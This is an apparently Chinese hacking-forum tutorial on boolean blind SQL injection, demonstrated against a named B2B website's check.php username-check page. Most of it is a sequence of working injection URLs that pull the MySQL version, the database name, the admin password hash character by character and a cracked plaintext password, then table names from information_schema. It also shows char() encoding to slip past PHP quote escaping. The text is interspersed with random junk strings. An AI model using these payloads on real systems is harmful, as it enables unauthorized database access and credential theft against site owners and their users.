|
|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。" z7 t' q" U+ ~0 ~. G5 }, ]% C1 p+ w
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲) w1 q$ _2 U& i }$ r9 R
作者:YoCo Smart
# j1 K( |) N8 n+ K# U+ Z4 n来自:习科信息技术 - http://BlackBap.Org0 b0 N% y6 G, O( z. F
我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 19 Y) `# r5 b9 r p
; h6 r/ W: g8 k: D) j5 B
复制代码1 r+ I6 ?, e" s7 o0 F) P* h
错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
/ m: L- Y2 ~+ b4 `
: Y& u* v* V: z( F4 B复制代码
1 s% C1 K* |) ~9 q6 L以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
4 ?1 t5 D5 O) g; P% A% d2 r# ^那么我们先从union的盲注来看吧。
* F- ]: W+ q2 r( ]先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
: a3 Q1 b N! T7 _6 t" b* t) x
`+ ]" u$ E: z+ F7 F8 w) [! I复制代码+ [5 c3 S9 S* K
这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'" K7 M5 B( k+ s. |8 X. |. v
" ^- Z* l. q& i复制代码
( D4 M5 `% L$ @$ ~1 u% M9 M因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
! U* ]; |7 r3 r( k& W6 W再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
* \6 O8 B3 ^+ m0 v% W3 f6 ? . {5 G- Z; A# K+ H% T; A7 g. Z
复制代码
7 d4 g5 e0 P8 _8 Ylength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
1 E, `! x- _$ ]8 C# V$ M. B! ^这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
: r. ]" r& N. O再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
`) x+ \* N+ h3 O7 o. p
! I q# J+ O+ B9 w& j复制代码
" K. @6 w c0 h8 r, V这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。, H1 E+ q# `3 P* }* X8 J5 s
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
; k2 l1 X+ |6 F/ e5 {; B# P2 a那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly3 j% N# J& b( L8 G# ?! T) B& I( O/ Y
' t9 u1 ^$ \; k& l
复制代码# b* w* ~! n& b) Y+ j
这样,猜数据的方法你肯定是懂了
/ q6 d% a5 j# \1 I& o
8 U7 H- q, ~, x2 V Y; W. R5 l2 b. r, j3 H* \: J) Z
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23: @9 Q/ y& i3 t1 \% Y! h. X
: i- Y2 b" S1 h1 K复制代码
# y: M: E% x. Q1 A/ S5 c实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
' u4 C1 A0 }0 G8 Z
* v! \2 n1 G4 K9 y6 R复制代码0 X( T' P" C- z- C3 G: r( w
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。4 R& u% |; y% E: A% r
关于limit x,y 的用法,可以参考MySQL手册( Z4 ^* d. t& J2 s. i3 n. H
* W8 o! T0 _1 M0 I, q% P8 E/ p
最后剩下的要说的就是ascii函数和hex函数了+ ~& R% [9 N/ W Z3 _& l" W! O7 n
这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
" a/ b7 u: M, m' |9 r! t3 ], q * a; P) x7 C, n# Z, Q9 h& n- @: {
复制代码
: d+ q" d6 W, T4 u& E/ T8 ^" G6 Tsubstr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|